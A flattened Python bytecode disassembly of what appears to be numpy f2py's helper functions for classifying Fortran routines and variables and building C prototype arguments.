LOAD_FAST rout LOAD_CONST 'vars' BINARY_SUBSCR COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL islong_long LOAD_FAST rout LOAD_CONST 'vars' BINARY_SUBSCR LOAD_FAST a BINARY_SUBSCR CALL_FUNCTION RETURN_VALUE LOAD_CONST 0 RETURN_VALUE LOAD_GLOBAL isfunction LOAD_FAST rout CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_CONST 0 RETURN_VALUE LOAD_CONST 'result' LOAD_FAST rout COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST rout LOAD_CONST 'result' BINARY_SUBSCR STORE_FAST a JUMP_FORWARD to 38 LOAD_FAST rout LOAD_CONST 'name' BINARY_SUBSCR STORE_FAST a LOAD_FAST a LOAD_FAST rout LOAD_CONST 'vars' BINARY_SUBSCR COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL islong_double LOAD_FAST rout LOAD_CONST 'vars' BINARY_SUBSCR LOAD_FAST a BINARY_SUBSCR CALL_FUNCTION RETURN_VALUE LOAD_CONST 0 RETURN_VALUE LOAD_GLOBAL isfunction LOAD_FAST rout CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_CONST 0 RETURN_VALUE LOAD_CONST 'result' LOAD_FAST rout COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST rout LOAD_CONST 'result' BINARY_SUBSCR STORE_FAST a JUMP_FORWARD to 38 LOAD_FAST rout LOAD_CONST 'name' BINARY_SUBSCR STORE_FAST a LOAD_FAST a LOAD_FAST rout LOAD_CONST 'vars' BINARY_SUBSCR COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL iscomplex LOAD_FAST rout LOAD_CONST 'vars' BINARY_SUBSCR LOAD_FAST a BINARY_SUBSCR CALL_FUNCTION RETURN_VALUE LOAD_CONST 0 RETURN_VALUE LOAD_GLOBAL iscomplexfunction LOAD_FAST rout CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL outmess LOAD_CONST ' **************************************************************\n Warning: code with a function returning complex value\n may not work correctly with your Fortran compiler.\n When using GNU gcc/g77 compilers, codes should work\n correctly for callbacks with:\n f2py -c -DF2PY_CB_RETURNCOMPLEX\n **************************************************************\n' CALL_FUNCTION POP_TOP LOAD_CONST 1 RETURN_VALUE LOAD_CONST 0 RETURN_VALUE LOAD_GLOBAL isfunction LOAD_FAST rout CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_CONST 0 RETURN_VALUE LOAD_CONST 'result' LOAD_FAST rout COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST rout LOAD_CONST 'result' BINARY_SUBSCR STORE_FAST a JUMP_FORWARD to 38 LOAD_FAST rout LOAD_CONST 'name' BINARY_SUBSCR STORE_FAST a LOAD_FAST a LOAD_FAST rout LOAD_CONST 'vars' BINARY_SUBSCR COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL isstring LOAD_FAST rout LOAD_CONST 'vars' BINARY_SUBSCR LOAD_FAST a BINARY_SUBSCR CALL_FUNCTION RETURN_VALUE LOAD_CONST 0 RETURN_VALUE LOAD_CONST 'externals' LOAD_FAST rout COMPARE_OP in JUMP_IF_FALSE_OR_POP LOAD_FAST rout LOAD_CONST 'externals' BINARY_SUBSCR RETURN_VALUE LOAD_CONST 'f2pyenhancements' LOAD_FAST rout COMPARE_OP in JUMP_IF_FALSE_OR_POP LOAD_CONST 'threadsafe' LOAD_FAST rout LOAD_CONST 'f2pyenhancements' BINARY_SUBSCR COMPARE_OP in RETURN_VALUE LOAD_CONST 'vars' LOAD_FAST rout COMPARE_OP in JUMP_IF_FALSE_OR_POP LOAD_FAST rout LOAD_CONST 'vars' BINARY_SUBSCR RETURN_VALUE LOAD_CONST 'attrspec' LOAD_FAST var COMPARE_OP in JUMP_IF_FALSE_OR_POP LOAD_CONST 'optional' LOAD_FAST var LOAD_CONST 'attrspec' BINARY_SUBSCR COMPARE_OP in JUMP_IF_FALSE_OR_POP LOAD_CONST 'required' LOAD_FAST var LOAD_CONST 'attrspec' BINARY_SUBSCR COMPARE_OP not in JUMP_IF_FALSE_OR_POP LOAD_GLOBAL isintent_nothide LOAD_FAST var CALL_FUNCTION RETURN_VALUE LOAD_CONST 'attrspec' LOAD_FAST var COMPARE_OP in JUMP_IF_FALSE_OR_POP LOAD_CONST 'external' LOAD_FAST var LOAD_CONST 'attrspec' BINARY_SUBSCR COMPARE_OP in RETURN_VALUE LOAD_CONST '\\((.*?)\\)' STORE_DEREF dimpattern LOAD_CONST 'attrspec' LOAD_FAST var LOAD_METHOD keys CALL_METHOD COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL any LOAD_CONST <code object <genexpr> at 0x7faad43c0a50, file "f.py", line 510> LOAD_CONST 'getdimension.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST var LOAD_CONST 'attrspec' BINARY_SUBSCR GET_ITER CALL_FUNCTION CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_CLOSURE dimpattern BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7faad43c01e0, file "f.py", line 511> LOAD_CONST 'getdimension.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST var LOAD_CONST 'attrspec' BINARY_SUBSCR GET_ITER CALL_FUNCTION LOAD_CONST 0 BINARY_SUBSCR RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_FAST .0 FOR_ITER to 18 STORE_FAST s LOAD_CONST 'dimension' LOAD_FAST s COMPARE_OP in YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 22 STORE_FAST v LOAD_GLOBAL re LOAD_METHOD findall LOAD_DEREF dimpattern LOAD_FAST v CALL_METHOD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL isoptional LOAD_FAST var CALL_FUNCTION UNARY_NOT JUMP_IF_FALSE_OR_POP LOAD_GLOBAL isintent_nothide LOAD_FAST var CALL_FUNCTION RETURN_VALUE LOAD_CONST 'intent' LOAD_FAST var COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_CONST 1 RETURN_VALUE LOAD_CONST 'hide' LOAD_FAST var LOAD_CONST 'intent' BINARY_SUBSCR COMPARE_OP in POP_JUMP_IF_FALSE LOAD_CONST 0 RETURN_VALUE LOAD_CONST 'inplace' LOAD_FAST var LOAD_CONST 'intent' BINARY_SUBSCR COMPARE_OP in POP_JUMP_IF_FALSE LOAD_CONST 0 RETURN_VALUE LOAD_CONST 'in' LOAD_FAST var LOAD_CONST 'intent' BINARY_SUBSCR COMPARE_OP in POP_JUMP_IF_FALSE LOAD_CONST 1 RETURN_VALUE LOAD_CONST 'out' LOAD_FAST var LOAD_CONST 'intent' BINARY_SUBSCR COMPARE_OP in POP_JUMP_IF_FALSE LOAD_CONST 0 RETURN_VALUE LOAD_CONST 'inout' LOAD_FAST var LOAD_CONST 'intent' BINARY_SUBSCR COMPARE_OP in POP_JUMP_IF_FALSE LOAD_CONST 0 RETURN_VALUE LOAD_CONST 'outin' LOAD_FAST var LOAD_CONST 'intent' BINARY_SUBSCR COMPARE_OP in POP_JUMP_IF_FALSE LOAD_CONST 0 RETURN_VALUE LOAD_CONST 1 RETURN_VALUE LOAD_CONST 'intent' LOAD_FAST var COMPARE_OP in JUMP_IF_FALSE_OR_POP LOAD_CONST 'inout' LOAD_FAST var LOAD_CONST 'intent' BINARY_SUBSCR COMPARE_OP in POP_JUMP_IF_TRUE LOAD_CONST 'outin' LOAD_FAST var LOAD_CONST 'intent' BINARY_SUBSCR COMPARE_OP in JUMP_IF_FALSE_OR_POP LOAD_CONST 'in' LOAD_FAST var LOAD_CONST 'intent' BINARY_SUBSCR COMPARE_OP not in JUMP_IF_FALSE_OR_POP LOAD_CONST 'hide' LOAD_FAST var LOAD_CONST 'intent' BINARY_SUBSCR COMPARE_OP not in JUMP_IF_FALSE_OR_POP LOAD_CONST 'inplace' LOAD_FAST var LOAD_CONST 'intent' BINARY_SUBSCR COMPARE_OP not in RETURN_VALUE LOAD_CONST 'out' LOAD_FAST var LOAD_METHOD get LOAD_CONST 'intent' BUILD_LIST CALL_METHOD COMPARE_OP in RETURN_VALUE LOAD_CONST 'intent' LOAD_FAST var COMPARE_OP in JUMP_IF_FALSE_OR_POP LOAD_CONST 'hide' LOAD_FAST var LOAD_CONST 'intent' BINARY_SUBSCR COMPARE_OP in JUMP_IF_TRUE_OR_POP LOAD_CONST 'out' LOAD_FAST var LOAD_CONST 'intent' BINARY_SUBSCR COMPARE_OP in JUMP_IF_FALSE_OR_POP LOAD_CONST 'in' LOAD_FAST var LOAD_CONST 'intent' BINARY_SUBSCR COMPARE_OP not in JUMP_IF_FALSE_OR_POP LOAD_GLOBAL l_or LOAD_GLOBAL isintent_inout LOAD_GLOBAL isintent_inplace CALL_FUNCTION LOAD_FAST var CALL_FUNCTION UNARY_NOT RETURN_VALUE LOAD_GLOBAL isintent_hide LOAD_FAST var CALL_FUNCTION UNARY_NOT RETURN_VALUE LOAD_CONST 'c' LOAD_FAST var LOAD_METHOD get LOAD_CONST 'intent' BUILD_LIST CALL_METHOD COMPARE_OP in RETURN_VALUE LOAD_CONST 'cache' LOAD_FAST var LOAD_METHOD get LOAD_CONST 'intent' BUILD_LIST CALL_METHOD COMPARE_OP in RETURN_VALUE LOAD_CONST 'copy' LOAD_FAST var LOAD_METHOD get LOAD_CONST 'intent' BUILD_LIST CALL_METHOD COMPARE_OP in RETURN_VALUE LOAD_CONST 'overwrite' LOAD_FAST var LOAD_METHOD get LOAD_CONST 'intent' BUILD_LIST CALL_METHOD COMPARE_OP in RETURN_VALUE LOAD_CONST 'callback' LOAD_FAST var LOAD_METHOD get LOAD_CONST 'intent' BUILD_LIST CALL_METHOD COMPARE_OP in RETURN_VALUE LOAD_CONST 'inplace' LOAD_FAST var LOAD_METHOD get LOAD_CONST 'intent' BUILD_LIST CALL_METHOD COMPARE_OP in RETURN_VALUE LOAD_CONST 'aux' LOAD_FAST var LOAD_METHOD get LOAD_CONST 'intent' BUILD_LIST CALL_METHOD COMPARE_OP in RETURN_VALUE LOAD_CONST 'aligned4' LOAD_FAST var LOAD_METHOD get LOAD_CONST 'intent' BUILD_LIST CALL_METHOD COMPARE_OP in RETURN_VALUE LOAD_CONST 'aligned8' LOAD_FAST var LOAD_METHOD get LOAD_CONST 'intent' BUILD_LIST CALL_METHOD COMPARE_OP in RETURN_VALUE LOAD_CONST 'aligned16' LOAD_FAST var LOAD_METHOD get LOAD_CONST 'intent' BUILD_LIST CALL_METHOD COMPARE_OP in RETURN_VALUE LOAD_CONST 'attrspec' LOAD_FAST var COMPARE_OP in JUMP_IF_FALSE_OR_POP LOAD_CONST 'private' LOAD_FAST var LOAD_CONST 'attrspec' BINARY_SUBSCR COMPARE_OP in RETURN_VALUE LOAD_CONST '=' LOAD_FAST var COMPARE_OP in RETURN_VALUE LOAD_GLOBAL hasinitvalue LOAD_FAST var CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_CONST 0 RETURN_VALUE LOAD_FAST var LOAD_CONST '=' BINARY_SUBSCR LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST ('"', "'") COMPARE_OP in RETURN_VALUE LOAD_CONST 'note' LOAD_FAST var COMPARE_OP in RETURN_VALUE LOAD_GLOBAL isfunction LOAD_FAST rout CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_CONST 0 RETURN_VALUE LOAD_CONST 'result' LOAD_FAST rout COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST rout LOAD_CONST 'result' BINARY_SUBSCR STORE_FAST a JUMP_FORWARD to 38 LOAD_FAST rout LOAD_CONST 'name' BINARY_SUBSCR STORE_FAST a LOAD_FAST a LOAD_FAST rout LOAD_CONST 'vars' BINARY_SUBSCR COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL hasnote LOAD_FAST rout LOAD_CONST 'vars' BINARY_SUBSCR LOAD_FAST a BINARY_SUBSCR CALL_FUNCTION RETURN_VALUE LOAD_CONST 0 RETURN_VALUE LOAD_CONST 'common' LOAD_FAST rout COMPARE_OP in RETURN_VALUE LOAD_GLOBAL hascommon LOAD_FAST rout CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_CONST 1 RETURN_VALUE LOAD_GLOBAL hasbody LOAD_FAST rout CALL_FUNCTION POP_JUMP_IF_FALSE SETUP_LOOP to 50 LOAD_FAST rout LOAD_CONST 'body' BINARY_SUBSCR GET_ITER FOR_ITER to 48 STORE_FAST b LOAD_GLOBAL containscommon LOAD_FAST b CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_CONST 1 RETURN_VALUE JUMP_ABSOLUTE POP_BLOCK LOAD_CONST 0 RETURN_VALUE LOAD_GLOBAL ismodule LOAD_FAST block CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_CONST 1 RETURN_VALUE LOAD_GLOBAL hasbody LOAD_FAST block CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_CONST 0 RETURN_VALUE SETUP_LOOP to 54 LOAD_FAST block LOAD_CONST 'body' BINARY_SUBSCR GET_ITER FOR_ITER to 52 STORE_FAST b LOAD_GLOBAL containsmodule LOAD_FAST b CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_CONST 1 RETURN_VALUE JUMP_ABSOLUTE POP_BLOCK LOAD_CONST 0 RETURN_VALUE LOAD_CONST 'body' LOAD_FAST rout COMPARE_OP in RETURN_VALUE LOAD_GLOBAL getcallstatement LOAD_FAST rout CALL_FUNCTION LOAD_CONST None COMPARE_OP is not RETURN_VALUE LOAD_CONST 1 RETURN_VALUE LOAD_CONST 0 RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'F2PYError' STORE_NAME __qualname__ LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'throw_error' STORE_NAME __qualname__ LOAD_CONST <code object __init__ at 0x7fab4158eae0, file "f.py", line 696> LOAD_CONST 'throw_error.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object __call__ at 0x7fab4158e1e0, file "f.py", line 699> LOAD_CONST 'throw_error.__call__' MAKE_FUNCTION STORE_NAME __call__ LOAD_CONST None RETURN_VALUE LOAD_FAST mess LOAD_FAST self STORE_ATTR mess LOAD_CONST None RETURN_VALUE LOAD_CONST '\n\n var = %s\n Message: %s\n' LOAD_FAST var LOAD_FAST self LOAD_ATTR mess BUILD_TUPLE BINARY_MODULO STORE_FAST mess LOAD_GLOBAL F2PYError LOAD_FAST mess CALL_FUNCTION RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST 'lambda v' BUILD_LIST ROT_TWO STORE_FAST l1 STORE_FAST l2 SETUP_LOOP to 60 LOAD_GLOBAL range LOAD_GLOBAL len LOAD_FAST f CALL_FUNCTION CALL_FUNCTION GET_ITER FOR_ITER to 58 STORE_FAST i LOAD_CONST '%s,f%d=f[%d]' LOAD_FAST l1 LOAD_FAST i LOAD_FAST i BUILD_TUPLE BINARY_MODULO STORE_FAST l1 LOAD_FAST l2 LOAD_METHOD append LOAD_CONST 'f%d(v)' LOAD_FAST i BINARY_MODULO CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL eval LOAD_CONST '%s:%s' LOAD_FAST l1 LOAD_CONST ' and ' LOAD_METHOD join LOAD_FAST l2 CALL_METHOD BUILD_TUPLE BINARY_MODULO CALL_FUNCTION RETURN_VALUE LOAD_CONST 'lambda v' BUILD_LIST ROT_TWO STORE_FAST l1 STORE_FAST l2 SETUP_LOOP to 60 LOAD_GLOBAL range LOAD_GLOBAL len LOAD_FAST f CALL_FUNCTION CALL_FUNCTION GET_ITER FOR_ITER to 58 STORE_FAST i LOAD_CONST '%s,f%d=f[%d]' LOAD_FAST l1 LOAD_FAST i LOAD_FAST i BUILD_TUPLE BINARY_MODULO STORE_FAST l1 LOAD_FAST l2 LOAD_METHOD append LOAD_CONST 'f%d(v)' LOAD_FAST i BINARY_MODULO CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL eval LOAD_CONST '%s:%s' LOAD_FAST l1 LOAD_CONST ' or ' LOAD_METHOD join LOAD_FAST l2 CALL_METHOD BUILD_TUPLE BINARY_MODULO CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL eval LOAD_CONST 'lambda v,f=f:not f(v)' CALL_FUNCTION RETURN_VALUE SETUP_EXCEPT to 18 LOAD_FAST rout LOAD_CONST 'f2pyenhancements' BINARY_SUBSCR LOAD_CONST 'fortranname' BINARY_SUBSCR LOAD_CONST '' COMPARE_OP == RETURN_VALUE DUP_TOP LOAD_GLOBAL KeyError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_CONST 0 RETURN_VALUE END_FINALLY LOAD_CONST None RETURN_VALUE SETUP_EXCEPT to 54 LOAD_FAST rout LOAD_CONST 'f2pyenhancements' BINARY_SUBSCR LOAD_CONST 'fortranname' BINARY_SUBSCR STORE_FAST name LOAD_FAST name LOAD_CONST '' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL KeyError RAISE_VARARGS LOAD_FAST name POP_JUMP_IF_TRUE LOAD_GLOBAL errmess LOAD_CONST 'Failed to use fortranname from %s\n' LOAD_FAST rout LOAD_CONST 'f2pyenhancements' BINARY_SUBSCR BINARY_MODULO CALL_FUNCTION POP_TOP LOAD_GLOBAL KeyError RAISE_VARARGS POP_BLOCK JUMP_FORWARD to 82 DUP_TOP LOAD_GLOBAL KeyError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST rout LOAD_CONST 'name' BINARY_SUBSCR STORE_FAST name POP_EXCEPT JUMP_FORWARD to 82 END_FINALLY LOAD_FAST name RETURN_VALUE SETUP_EXCEPT to 20 LOAD_FAST rout LOAD_CONST 'f2pyenhancements' BINARY_SUBSCR LOAD_METHOD get LOAD_FAST blockname CALL_METHOD STORE_FAST r POP_BLOCK JUMP_FORWARD to 40 DUP_TOP LOAD_GLOBAL KeyError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_CONST None RETURN_VALUE END_FINALLY LOAD_FAST r POP_JUMP_IF_TRUE LOAD_CONST None RETURN_VALUE LOAD_FAST counter LOAD_CONST 0 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_GLOBAL isinstance LOAD_FAST r LOAD_GLOBAL str CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST r LOAD_GLOBAL list CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST counter LOAD_GLOBAL len LOAD_FAST r CALL_FUNCTION COMPARE_OP >= POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_FAST r LOAD_FAST counter BINARY_SUBSCR STORE_FAST r LOAD_FAST r LOAD_CONST None LOAD_CONST 3 BUILD_SLICE BINARY_SUBSCR LOAD_CONST "'''" COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST comment POP_JUMP_IF_FALSE LOAD_CONST '\t/* start ' LOAD_FAST blockname BINARY_ADD LOAD_CONST ' multiline (' BINARY_ADD LOAD_GLOBAL repr LOAD_FAST counter CALL_FUNCTION BINARY_ADD LOAD_CONST ') */\n' BINARY_ADD LOAD_FAST r LOAD_CONST 3 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR BINARY_ADD STORE_FAST r JUMP_FORWARD to 176 LOAD_FAST r LOAD_CONST 3 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR STORE_FAST r LOAD_FAST r LOAD_CONST -3 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR LOAD_CONST "'''" COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST comment POP_JUMP_IF_FALSE LOAD_FAST r LOAD_CONST None LOAD_CONST -3 BUILD_SLICE BINARY_SUBSCR LOAD_CONST '\n\t/* end multiline (' BINARY_ADD LOAD_GLOBAL repr LOAD_FAST counter CALL_FUNCTION BINARY_ADD LOAD_CONST ')*/' BINARY_ADD STORE_FAST r JUMP_FORWARD to 238 LOAD_FAST r LOAD_CONST None LOAD_CONST -3 BUILD_SLICE BINARY_SUBSCR STORE_FAST r JUMP_FORWARD to 260 LOAD_GLOBAL errmess LOAD_CONST "%s multiline block should end with `'''`: %s\n" LOAD_FAST blockname LOAD_GLOBAL repr LOAD_FAST r CALL_FUNCTION BUILD_TUPLE BINARY_MODULO CALL_FUNCTION POP_TOP LOAD_FAST r RETURN_VALUE LOAD_GLOBAL getmultilineblock LOAD_FAST rout LOAD_CONST 'callstatement' CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL getmultilineblock LOAD_FAST rout LOAD_CONST 'callprotoargument' LOAD_CONST 0 LOAD_CONST ('comment',) CALL_FUNCTION STORE_FAST r LOAD_FAST r POP_JUMP_IF_FALSE LOAD_FAST r RETURN_VALUE LOAD_GLOBAL hascallstatement LOAD_FAST rout CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL outmess LOAD_CONST 'warning: callstatement is defined without callprotoargument\n' CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST 1 LOAD_CONST ('getctype',) IMPORT_NAME capi_maps IMPORT_FROM getctype STORE_FAST getctype POP_TOP BUILD_LIST BUILD_LIST ROT_TWO STORE_FAST arg_types STORE_FAST arg_types2 LOAD_GLOBAL l_and LOAD_GLOBAL isstringfunction LOAD_GLOBAL l_not LOAD_GLOBAL isfunction_wrap CALL_FUNCTION CALL_FUNCTION LOAD_FAST rout CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST arg_types LOAD_METHOD extend LOAD_CONST 'char*' LOAD_CONST 'size_t' BUILD_LIST CALL_METHOD POP_TOP SETUP_LOOP to 258 LOAD_FAST rout LOAD_CONST 'args' BINARY_SUBSCR GET_ITER FOR_ITER to 256 STORE_FAST n LOAD_FAST rout LOAD_CONST 'vars' BINARY_SUBSCR LOAD_FAST n BINARY_SUBSCR STORE_FAST var LOAD_GLOBAL isintent_callback LOAD_FAST var CALL_FUNCTION POP_JUMP_IF_FALSE JUMP_ABSOLUTE LOAD_FAST n LOAD_FAST cb_map COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST cb_map LOAD_FAST n BINARY_SUBSCR LOAD_CONST '_typedef' BINARY_ADD STORE_FAST ctype JUMP_FORWARD to 244 LOAD_FAST getctype LOAD_FAST var CALL_FUNCTION STORE_FAST ctype LOAD_GLOBAL l_and LOAD_GLOBAL isintent_c LOAD_GLOBAL l_or LOAD_GLOBAL isscalar LOAD_GLOBAL iscomplex CALL_FUNCTION CALL_FUNCTION LOAD_FAST var CALL_FUNCTION POP_JUMP_IF_FALSE JUMP_FORWARD to 210 LOAD_GLOBAL isstring LOAD_FAST var CALL_FUNCTION POP_JUMP_IF_FALSE JUMP_FORWARD to 210 LOAD_GLOBAL isattr_value LOAD_FAST var CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_FAST ctype LOAD_CONST '*' BINARY_ADD STORE_FAST ctype LOAD_GLOBAL isstring LOAD_FAST var CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL isarrayofstrings LOAD_FAST var CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL isstringarray LOAD_FAST var CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST arg_types2 LOAD_METHOD append LOAD_CONST 'size_t' CALL_METHOD POP_TOP LOAD_FAST arg_types LOAD_METHOD append LOAD_FAST ctype CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_CONST ',' LOAD_METHOD join LOAD_FAST arg_types LOAD_FAST arg_types2 BINARY_ADD CALL_METHOD STORE_FAST proto_args LOAD_FAST proto_args EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_CONST 'void' STORE_FAST proto_args LOAD_FAST proto_args RETURN_VALUE LOAD_GLOBAL getmultilineblock LOAD_FAST rout LOAD_CONST 'usercode' CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL getmultilineblock LOAD_FAST rout LOAD_CONST 'usercode' LOAD_CONST 1 LOAD_CONST ('counter',) CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL getmultilineblock LOAD_FAST rout LOAD_CONST 'pymethoddef' CALL_FUNCTION RETURN_VALUE BUILD_LIST BUILD_LIST ROT_TWO STORE_FAST sortargs STORE_FAST args LOAD_CONST 'args' LOAD_FAST rout COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST rout LOAD_CONST 'args' BINARY_SUBSCR STORE_FAST args LOAD_CONST 'sortvars' LOAD_FAST rout COMPARE_OP in POP_JUMP_IF_FALSE SETUP_LOOP to 70 LOAD_FAST rout LOAD_CONST 'sortvars' BINARY_SUBSCR GET_ITER FOR_ITER to 68 STORE_FAST a LOAD_FAST a LOAD_FAST args COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST sortargs LOAD_METHOD append LOAD_FAST a CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK SETUP_LOOP to 112 LOAD_FAST args GET_ITER FOR_ITER to 100 STORE_FAST a LOAD_FAST a LOAD_FAST sortargs COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_FAST sortargs LOAD_METHOD append LOAD_FAST a CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK JUMP_FORWARD to 112 LOAD_FAST rout LOAD_CONST 'args' BINARY_SUBSCR STORE_FAST sortargs LOAD_FAST args LOAD_FAST sortargs BUILD_TUPLE RETURN_VALUE BUILD_LIST LOAD_DEREF rout LOAD_METHOD get LOAD_CONST 'args' BUILD_LIST CALL_METHOD ROT_TWO STORE_FAST sortargs STORE_DEREF args LOAD_CLOSURE args LOAD_CLOSURE rout BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7fab0018d540, file "f.py", line 857> LOAD_CONST 'getargs2.<locals>.<listcomp>' MAKE_FUNCTION LOAD_DEREF rout LOAD_CONST 'vars' BINARY_SUBSCR LOAD_METHOD keys CALL_METHOD GET_ITER CALL_FUNCTION STORE_FAST auxvars LOAD_FAST auxvars LOAD_DEREF args BINARY_ADD STORE_DEREF args LOAD_CONST 'sortvars' LOAD_DEREF rout COMPARE_OP in POP_JUMP_IF_FALSE SETUP_LOOP to 98 LOAD_DEREF rout LOAD_CONST 'sortvars' BINARY_SUBSCR GET_ITER FOR_ITER to 96 STORE_FAST a LOAD_FAST a LOAD_DEREF args COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST sortargs LOAD_METHOD append LOAD_FAST a CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK SETUP_LOOP to 144 LOAD_DEREF args GET_ITER FOR_ITER to 128 STORE_FAST a LOAD_FAST a LOAD_FAST sortargs COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_FAST sortargs LOAD_METHOD append LOAD_FAST a CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK JUMP_FORWARD to 144 LOAD_FAST auxvars LOAD_DEREF rout LOAD_CONST 'args' BINARY_SUBSCR BINARY_ADD STORE_FAST sortargs LOAD_DEREF args LOAD_FAST sortargs BUILD_TUPLE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 38 STORE_FAST a LOAD_GLOBAL isintent_aux LOAD_DEREF rout LOAD_CONST 'vars' BINARY_SUBSCR LOAD_FAST a BINARY_SUBSCR CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST a LOAD_DEREF args COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_FAST a LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_CONST 'f2pymultilines' LOAD_FAST rout COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_CONST None STORE_FAST k LOAD_FAST rout LOAD_CONST 'block' BINARY_SUBSCR LOAD_CONST 'python module' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST rout LOAD_CONST 'block' BINARY_SUBSCR LOAD_FAST rout LOAD_CONST 'name' BINARY_SUBSCR BUILD_TUPLE STORE_FAST k LOAD_FAST rout LOAD_CONST 'f2pymultilines' BINARY_SUBSCR LOAD_METHOD get LOAD_FAST k LOAD_CONST None CALL_METHOD RETURN_VALUE LOAD_CONST 80 LOAD_GLOBAL len LOAD_FAST name CALL_FUNCTION BINARY_SUBTRACT LOAD_CONST 6 BINARY_SUBTRACT LOAD_CONST 2 BINARY_FLOOR_DIVIDE STORE_FAST ln LOAD_CONST '/*%s %s %s*/' LOAD_FAST ln LOAD_CONST '*' BINARY_MULTIPLY LOAD_FAST name LOAD_FAST ln LOAD_CONST '*' BINARY_MULTIPLY BUILD_TUPLE BINARY_MODULO RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST lst LOAD_GLOBAL list CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL reduce LOAD_GLOBAL flatlist BUILD_TUPLE LOAD_CONST <code object <lambda> at 0x7fab0018d780, file "f.py", line 890> LOAD_CONST 'flatlist.<locals>.<lambda>' MAKE_FUNCTION LOAD_FAST lst BUILD_LIST CALL_FUNCTION RETURN_VALUE LOAD_FAST lst BUILD_LIST RETURN_VALUE LOAD_FAST x LOAD_FAST f LOAD_FAST y CALL_FUNCTION BINARY_ADD RETURN_VALUE LOAD_FAST s POP_JUMP_IF_FALSE LOAD_FAST s LOAD_CONST -1 BINARY_SUBSCR LOAD_CONST ',' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST s 